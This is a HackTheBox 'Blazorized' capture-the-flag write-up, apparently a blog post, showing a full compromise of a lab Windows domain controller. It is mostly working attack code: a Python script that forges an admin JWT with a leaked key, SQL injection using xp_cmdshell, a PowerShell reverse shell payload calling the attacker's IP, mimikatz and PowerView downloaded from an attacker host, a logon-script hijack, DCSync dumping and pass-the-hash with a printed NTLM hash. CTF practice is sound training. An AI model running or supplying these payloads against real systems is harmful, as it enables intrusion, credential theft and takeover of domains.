HackTheBox Blazorized Writeup
Explore the fundamentals of cybersecurity in the Blazorized Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.11.22 blazorized.htb admin.blazorized.htb
Script to add hosts automatically#
ip="10.10.11.22"
domain="blazorized.htb admin.blazorized.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV blazorized.htb
Host is up (0.048s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mozhar's Digital Garden
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-01 22:20:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022
|_ssl-date: 2024-11-01T22:20:39+00:00; -1s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-01T22:17:59
|_Not valid after: 2054-11-01T22:17:59
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-01T22:20:33
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Subdomains#
To discover subdomains for the blazorized.htb domain using ffuf, run the following command:
ffuf -c -u "http://blazorized.htb" -H "host: FUZZ.blazorized.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302,404 -mc all
Result:
admin [Status: 200, Size: 2017, Words: 149, Lines: 28, Duration: 65ms]
- Main Site: http://blazorized.htb
- Admin Subdomain: http://admin.blazorized.htb
Analyzing Framework Files#
You can retrieve Blazor framework files using curl. For instance, to get the blazor.server.js file:
curl -s http://blazorized.htb/_framework/blazor.server.js | grep '_framework/'
To beautify and print the Blazor WebAssembly file:
curl -s http://blazorized.htb/_framework/blazor.webassembly.js | prettier --parser babel | grep '_framework/'
curl -s http://blazorized.htb/_framework/blazor.boot.json | jq '.resources.lazyAssembly'
To download the Blazorized.Helpers.dll, use:
wget http://blazorized.htb/_framework/Blazorized.Helpers.dll
For analyzing the downloaded DLL, you can use AvaloniaILSpy or dnSpy.
- Preferred Tool: I recommend using AvaloniaILSpy since it runs on Mono and is less likely to crash on Linux.
Finding JWT Information#
- Open Blazorized.Helpers in AvaloniaILSpy.
- Navigate to the Blazorized.Helpers.JWT section.
- Look for hardcoded payload information used for JWT creation.
Crafting Admin Coockie#
```python
import jwt
import datetime
key = '8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a'
issuer = 'http://api.blazorized.htb'
audience = 'http://admin.blazorized.htb'
email = "superadmin@blazorized.htb"
role = "Super_Admin"
expiration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(seconds=60)
payload = {
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": email,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": role,
"iss": issuer,
"aud": audience,
"exp": int(expiration.timestamp()),
"iat": int(datetime.datetime.now(datetime.timezone.utc).timestamp())
}
token = jwt.encode(payload, key, algorithm="HS512")
print(token)
```
### Accessing Admin Pages
- **Store JWT**: Save the JWT token in local storage:
```javascript
localStorage.setItem('jwt', '<your_jwt_token_here>');
```
- **Gain Access**: Access the following admin URLs:
- [Admin Home](http://admin.blazorized.htb/home)
- [Check Duplicate Post Title](http://admin.blazorized.htb/check-duplicate-post-title)
### SQL Injection
- **Testing for Vulnerabilities**:
- Test with these payloads:
- `pwn' or 1=1 --`
- `pwn' or 1=2 --`
- Different responses indicate a vulnerability.
- **Network Monitoring**:
- Monitor ICMP traffic:
```bash
sudo tcpdump -i any icmp
```
- **Command Execution**:
- Execute commands via SQL injection:
```sql
pwn'; EXEC master..xp_cmdshell 'ping 10.10.14.17';-- -
```
**Note**: This confirms the command execution functionality within the database.
### SQL Revshell
- **Listening for Connections**:
- Start a listener on port 9001 using Netcat:
```bash
nc -lvnp 9001
```
- **Payload Generation**:
- Use the following command to create a PowerShell reverse shell payload:
```bash
echo -n '$client = New-Object System.Net.Sockets.TCPClient("'$(ip a | grep -A 2 "tun0:" | grep -oP "(?<=inet\s)\d+(\.\d+){3}")'",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -f UTF-8 -t UTF-16LE | base64 -w 0
```
- **Execute the Payload via SQL Injection**:
- Use the following SQL injection command to execute the payload:
```sql
pwn'; EXEC master..xp_cmdshell 'powershell -e <payload>';--
```
- **To read the flag**:
```powershell
type \users\nu_1055\Desktop\user.txt
```
### PowerView.ps1
- Download PowerView:
```bash
curl http://10.10.14.17:8000/PowerView.ps1 -o PowerView.ps1
. ./PowerView.ps1
```
- Find interesting domain ACLs:
```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "nu_1055"}
Get-NetUser -SPN | select serviceprincipalname
```
- **Kerberoasting Guide**:
- Reference: [HackTricks - Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast?source=post_page-----894f707082a7--------------------------------)
- **Set a Domain Object and Get Domain SPN Ticket**:
```powershell
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='pwn/domain'}
Get-DomainSPNTicket -SPN pwn/domain
```
Brute Force the Hash#
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 13100 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
```bash
evil-winrm -i blazorized.htb -p '(Ni7856Do9854Ki05Ng0005 #)' -u RSA_4810
```
PowerView Usage for User Enumeration:
```bash
upload .local/www/win/enum/PowerView.ps1
Import-Module ./PowerView.ps1
Get-NetUser
```
**Output Example**:
```
samaccounttype : USER_OBJECT
accountexpires : NEVER
```
- Insert the `ScriptPath` for the `RSA-4810` account, granting full access to the suspicious account. The `shell.bat` file will execute whenever `SSA_6010` logs in:
```powershell
Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\shell.bat"
```
Listener:
```bash
nc -vnp 9002
```
Payload:
```bash
echo -n '$client = New-Object System.Net.Sockets.TCPClient("'$(ip a | grep -A 2 "tun0:" | grep -oP "(?<=inet\s)\d+(\.\d+){3}")'",9002);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -f UTF-8 -t UTF-16LE | base64 -w 0
```
```powershell
'powershell -e <payload>' | Out-File -FilePath C:\Windows\sysvol\domain\scripts\A32FF3AEAA23\shell.bat -Encoding ASCII
```
```bash
cd \users\ssa_6010
curl http://10.10.14.17:8000/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:administrator" "exit"
```
```bash
secretsdump.py WORKGROUP/Administrator@10.10.11.22 -hashes :f55ed1465179ba374ec1cad05b34a5f3
```
```bash
evil-winrm -i blazorized.htb -H 'f55ed1465179ba374ec1cad05b34a5f3' -u administrator
```
```powershell
type \users\administrator\desktop\root.txt
```
Read other posts